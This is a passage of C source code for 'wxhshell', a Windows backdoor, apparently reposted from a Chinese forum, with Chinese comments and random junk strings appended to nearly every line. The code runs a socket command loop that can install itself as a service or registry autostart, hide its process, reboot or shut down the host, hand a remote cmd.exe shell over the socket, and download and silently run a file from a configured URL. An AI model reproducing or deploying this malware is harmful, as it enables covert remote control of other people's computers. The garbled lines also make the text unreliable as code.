  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y7/4u-_c  
  } dDA8IW![S  
  else { 4L,wBce;,t  
- BWf.  
    switch(cmd[0]) { )Wle CS_  
  R]yce2w"z  
  // 帮助 kxKb}> =  
  case '?': { 2FZ T  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S!PG7hK2  
    break; v@]SddP,?  
  } Z-lhJ<0/Pa  
  // 安装 kcUn GiP  
  case 'i': { @U!&XZ]h  
    if(Install()) %~:\f#6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); LCSvw  
    else G%k&|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1n<4yfJ  
    break; 8o+:|V~X  
    } hdWVvN  
  // 卸载 K6-)l isf  
  case 'r': { <lR:^M[v5<  
    if(Uninstall()) {J)%6eL?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2OpA1$n6  
    else C)c*s C5N  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _`p-^ I  
    break; C[.Xi  
    } C-A? mIC  
  // 显示 wxhshell 所在路径 W0MgY%Qv[  
  case 'p': { lv?`+tU2_  
    char svExeFile[MAX_PATH]; 3Qd/X&P  
    strcpy(svExeFile,"\n\r"); T O]7cC  
      strcat(svExeFile,ExeFile); }J6:D]Q  
        send(wsh,svExeFile,strlen(svExeFile),0); ^;ZpK@Luk  
    break; -HGRrWS  
    } 9<0yz?b':  
  // 重启 8H-yT1  
  case 'b': { c $r"q :\  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E[#VWM I  
    if(Boot(REBOOT)) 0R? @JC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h!uyTgq  
    else { Y=|p}>.}  
    closesocket(wsh); :l"B NT[/  
    ExitThread(0); U"/T`f'H z  
    } ^[.}DNR95(  
    break; Zoxblk  
    } .`~?w+ ~  
  // 关机 tl /i  
  case 'd': { {St-  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); YvN]7tcb  
    if(Boot(SHUTDOWN)) 'k]~Q{K$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); eYP^.U)  
    else { p*5_+u  
    closesocket(wsh); 1K#[Ef4  
    ExitThread(0); OqS!y( (  
    } im9 w|P5  
    break; Eoixw8hz  
    } 1#c Tk  
  // 获取shell qE2VUEv5Y  
  case 's': { pTGGJ,  
    CmdShell(wsh); UapU:>!"`  
    closesocket(wsh); VqvjOeCbH  
    ExitThread(0); .'A1Eoo0d  
    break; B-_b.4ND)  
  } [ KgO:},c  
  // 退出 Z[w}PN,xV  
  case 'x': { ip<VRC5`5  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Wk7E&?-:6  
    CloseIt(wsh); ;<m*ASM.3  
    break; i$%Bo/Y   
    } W/\VpD) ?;  
  // 离开 Z8Ig,  
  case 'q': { ,x1OQ jtY  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @@^iN~uf  
    closesocket(wsh); _f";zd  
    WSACleanup(); B<L7`xL  
    exit(1); 9tv,,I;iU  
    break; bwhH2^ !  
        } "[P3b"=gW  
  } MG=8`J-`  
  } O'IU1sU  
Q<u?BA/  
  // 提示信息 <$s sU{5  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); sM MtU@<x  
} x5MS#c!7  
  } czIAx1R9  
e`b#,=  
  return; Z@dVK`nD  
} \8$~ i  
j24 3oD  
// shell模块句柄 mrRid}2  
int CmdShell(SOCKET sock) izcaWt3 a  
{ XX /s@C  
STARTUPINFO si; -t S\  
ZeroMemory(&si,sizeof(si)); :,JjN&  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; B VeMV4  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 4@{?4k-cq  
PROCESS_INFORMATION ProcessInfo; _b%)  
char cmdline[]="cmd"; W;=Ae~  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); /;(ji?wN  
  return 0; nl 'MWP  
} v.<mrI#?  
hT1JEu  
// 自身启动模式 'I/_vqp@  
int StartFromService(void) [5~mP`He  
{ 5C1EdQ4S0  
typedef struct (o IGp  
{ |?VJf3 A  
  DWORD ExitStatus; -GFZFi  
  DWORD PebBaseAddress; 8u~  
  DWORD AffinityMask; :p}8#rb  
  DWORD BasePriority; /a^ R$RHl'  
  ULONG UniqueProcessId; nyi!D   
  ULONG InheritedFromUniqueProcessId; qJ`:$U  
}   PROCESS_BASIC_INFORMATION; f%.Ngf9  
[HY r|T  
PROCNTQSIP NtQueryInformationProcess; Q*T 'tkp  
<skqq+  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; gep#o$P  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R6(:l; W  
R]X 0D.  
  HANDLE             hProcess; vb]kh _  
  PROCESS_BASIC_INFORMATION pbi; 3<W%z]k@M  
:6lvX$  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");  iiQn/%  
  if(NULL == hInst ) return 0; !5lV#w!vb  
an"~n`g  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NCkI[d]B@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ISNL='%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wxvi)|)  
VSY  p  
  if (!NtQueryInformationProcess) return 0; I)'bf/6?  
ujxr/8mjV  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U&WEe`XM  
  if(!hProcess) return 0; -%"PqA/1zj  
V_gKl;Kfe8  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7C7.}U  
=J]WVA,GqA  
  CloseHandle(hProcess); D BHy%i  
3U>-~-DS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &;-zy%#l  
if(hProcess==NULL) return 0; U)bv,{-q  
,J|,wNDU!K  
HMODULE hMod; `Fn"QL-  
char procName[255]; 0uDDaFS  
unsigned long cbNeeded; #gV n7wq  
I2*rtVAP'j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1]G)41  
q_.fVn:!  
  CloseHandle(hProcess); d:';s~  
sRD fA4/TF  
if(strstr(procName,"services")) return 1; // 以服务启动 \i_E}Ii0  
.^{%hc*w4  
  return 0; // 注册表启动 WChP,hw  
} uTR^K=Ve  
QnVr)4"  
// 主模块 l@B9}Icq  
int StartWxhshell(LPSTR lpCmdLine) acl<dY6  
{ DD$> 3`  
  SOCKET wsl; W\kli';jyC  
BOOL val=TRUE; y,nmPX?]n  
  int port=0; "9s_[e  
  struct sockaddr_in door; V_SH90@)+  
z/{X{+Z  
  if(wscfg.ws_autoins) Install(); \nZB@u;S  
=Hd yra  
port=atoi(lpCmdLine); n6% `  
uAPVR  
if(port<=0) port=wscfg.ws_port; :82h GU  
#; ?3k uq(  
  WSADATA data; xrkl)7;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; B}d&tH2^s  
}'x;J   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Kn~Rck| ]  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Zl5'%b$&  
  door.sin_family = AF_INET; @zg}x0]  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); )J S6W  
  door.sin_port = htons(port); Tsg9,/vXM  
)SmnLvL  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ^OY]Y+S`Ox  
closesocket(wsl); q ;'f3Y  
return 1; |GnTRahV.  
} uatUo  
yc](  
  if(listen(wsl,2) == INVALID_SOCKET) { yQ2=d5'V`  
closesocket(wsl); &j 4pC$Dj  
return 1; iT-coI  
} *V6| FU  
  Wxhshell(wsl); '{d@Gc6.  
  WSACleanup(); B'}?cG]  
}sXTZX  
return 0; +x"uP  
FRd"F$U  
} O_:l;D#i  
_nbr%PD,  
// 以NT服务方式启动 aZA ``#p+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]1!" q40)]  
{ 3%Y:+%VE  
DWORD   status = 0; jfuHZ^YA  
  DWORD   specificError = 0xfffffff; qE~_}4\Z9  
y+(\:;y$7  
  serviceStatus.dwServiceType     = SERVICE_WIN32; eQbHf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; +Y%6y]8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; y"q aa  
  serviceStatus.dwWin32ExitCode     = 0; [r/zBF-.  
  serviceStatus.dwServiceSpecificExitCode = 0; 5BhR4+1J  
  serviceStatus.dwCheckPoint       = 0; iQ/~?'PB  
  serviceStatus.dwWaitHint       = 0; +"?+Be  
I/f\m}}ba  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); V"4Z9Qg}  
  if (hServiceStatusHandle==0) return; E8# >k  
;Q;j@yx  
status = GetLastError(); $`F9e5}G  
  if (status!=NO_ERROR) UPh#YV 0/,  
{ &N7ji  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?"d$SK"6Z  
    serviceStatus.dwCheckPoint       = 0; IP62|~Ap  
    serviceStatus.dwWaitHint       = 0; YQ+hQ:4-  
    serviceStatus.dwWin32ExitCode     = status; ]i*ucW4  
    serviceStatus.dwServiceSpecificExitCode = specificError; &~,4$& _  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =01X  
    return; p-[WpY3  
  } )j_El ]?  
c$g@3gL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @?3f`l 9  
  serviceStatus.dwCheckPoint       = 0; LIZB!S@V\  
  serviceStatus.dwWaitHint       = 0; 3 t,_{9  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ix3LB!k<  
} Zl9@E;|=  
)% 7P?^>  
// 处理NT服务事件,比如:启动、停止 /'/I^ab  
VOID WINAPI NTServiceHandler(DWORD fdwControl) qyH -Z@  
{ h|qJ{tUWc$  
switch(fdwControl) "D(Lp*3hj&  
{ `R[Hxi  
case SERVICE_CONTROL_STOP: }E 'r?N  
  serviceStatus.dwWin32ExitCode = 0; bNea5u##  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Aedf (L7\  
  serviceStatus.dwCheckPoint   = 0; xVm-4gB  
  serviceStatus.dwWaitHint     = 0; _;1{feR_  
  { iM+` 7L'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =kd$??F  
  } 9njl,Q:  
  return; ^xZh@e5  
case SERVICE_CONTROL_PAUSE: qlO}=b/  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ke$_l]}  
  break; v 4ot08 C  
case SERVICE_CONTROL_CONTINUE: V0nQmsP1U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; y?$DDD  
  break; '0+*  
case SERVICE_CONTROL_INTERROGATE: 0t <nH%N}^  
  break; $83B10OQ&L  
}; `3+i.wR  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g68p9#G  
} )[Y B&  
mayJwBfU  
// 标准应用程序主函数 c3vb~l)  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) cw Obq\  
{ aB]0?C y9(  
4DA34m(  
// 获取操作系统版本 ~^m Uu`@r  
OsIsNt=GetOsVer(); [{x}# oRSE  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xnP!P2  
^jdU4  
  // 从命令行安装 ag=d6q  
  if(strpbrk(lpCmdLine,"iI")) Install(); t'qYM5  
>yBq i^aL  
  // 下载执行文件 9j,g&G.K  
if(wscfg.ws_downexe) { !|cg=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GtA`0B  
  WinExec(wscfg.ws_filenam,SW_HIDE); =6%oW2E\  
} 22\!Z2@T/  
EYAaK^ &  
if(!OsIsNt) { kBu{ bxL  
// 如果时win9x,隐藏进程并且设置为注册表启动 oaoTd$/5  
HideProc(); /R)wM#&  
StartWxhshell(lpCmdLine); Tg\bpLk0=  
} YDt+1Kw}D  
else y>^a~}Zq  
  if(StartFromService()) G95,J/w  
  // 以服务方式启动 0I&k_7_   
  StartServiceCtrlDispatcher(DispatchTable); ^t;z;.g  
else ks '>?Dw  
  // 普通方式启动 (Fv tL*  
  StartWxhshell(lpCmdLine); xs$$fPAQ  
yK~=6^M  
return 0; iG N\ >m}  
}
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只看该作者 1 发表于: 2006-10-10
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